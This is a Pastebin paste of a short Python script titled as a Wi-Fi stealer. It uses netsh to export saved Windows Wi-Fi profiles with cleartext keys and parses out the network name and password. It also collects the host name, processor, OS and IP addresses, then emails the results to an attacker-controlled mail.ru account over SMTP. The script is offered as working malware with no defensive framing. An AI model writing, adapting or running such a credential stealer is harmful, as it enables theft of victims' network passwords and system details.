Fsoky

Стиллер Wi-Fi | Fsoky

Aug 7th, 2020
6,854
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.80 KB | None | 0 0
  1. import subprocess as sp
  2. import sys
  3. import smtplib
  4. from email.mime.text import MIMEText
  5. from email.mime.multipart import MIMEMultipart
  6. from time import sleep
  7. from xml.dom import minidom
  8. import requests
  9. import platform as pf
  10. import socket
  11.  
  12. sp.call( 'netsh wlan show  profile', shell = True )
  13. sp.call( 'netsh wlan export profile folder=C:\\ key =clear', shell = True )
  14.  
  15. sleep( 2 )
  16.  
  17. global doc
  18.  
  19. doc = minidom.parse( 'C:/Беспроводная сеть-название.xml' )
  20.  
  21. def info_pc():
  22.     network_name_pc = pf.node()
  23.     processor_pc = pf.processor()
  24.     system_name_pc = pf.system() + ' ' + pf.release()
  25.     ip_pc = socket.gethostbyname( socket.gethostname() )
  26.  
  27.     global all_info_pc
  28.     all_info_pc = f"Сетевое имя ПК : { network_name_pc }\nПроцессор : { processor_pc }\nСистема : { system_name_pc }\nIP ПК : { ip_pc }\n"
  29.  
  30. def get_ip():
  31.     response = requests.get( 'http://myip.dnsomatic.com' )
  32.     ip = response.text
  33.  
  34.     global answer_ip
  35.     answer_ip =  f"IP address : { ip }"
  36.  
  37. def wifi():
  38.     items_name = doc.getElementsByTagName( 'name' )
  39.     items_password = doc.getElementsByTagName( 'keyMaterial' )
  40.  
  41.     global geted_data
  42.     geted_data = f'Wi-Fi name : { items_name[ 0 ].firstChild.data } \n Wi-Fi password : { items_password[ 0 ].firstChild.data }\n'
  43.  
  44. def all_info():
  45.     global info_user
  46.     info_user = f'{ all_info_pc }\n{ geted_data }\n{ answer_ip }'
  47.  
  48. def send_mail():
  49.     msg = MIMEMultipart()
  50.  
  51.     msg[ 'Subject' ] = 'Wi-Fi data'
  52.     msg[ 'From' ] = 'почта'
  53.     body = info_user
  54.     msg.attach( MIMEText( body, 'plain' ) )
  55.  
  56.     server = smtplib.SMTP_SSL( 'smtp.mail.ru', 465 )
  57.     server.login( 'почта', 'пароль' )
  58.     server.sendmail( 'почта', 'почта', msg.as_string() )
  59.     server.quit()
  60.  
  61. def main():
  62.     info_pc()
  63.     wifi()
  64.     get_ip()
  65.     all_info()
  66.     send_mail()
  67.  
  68. main()
Add Comment
Please, Sign In to add comment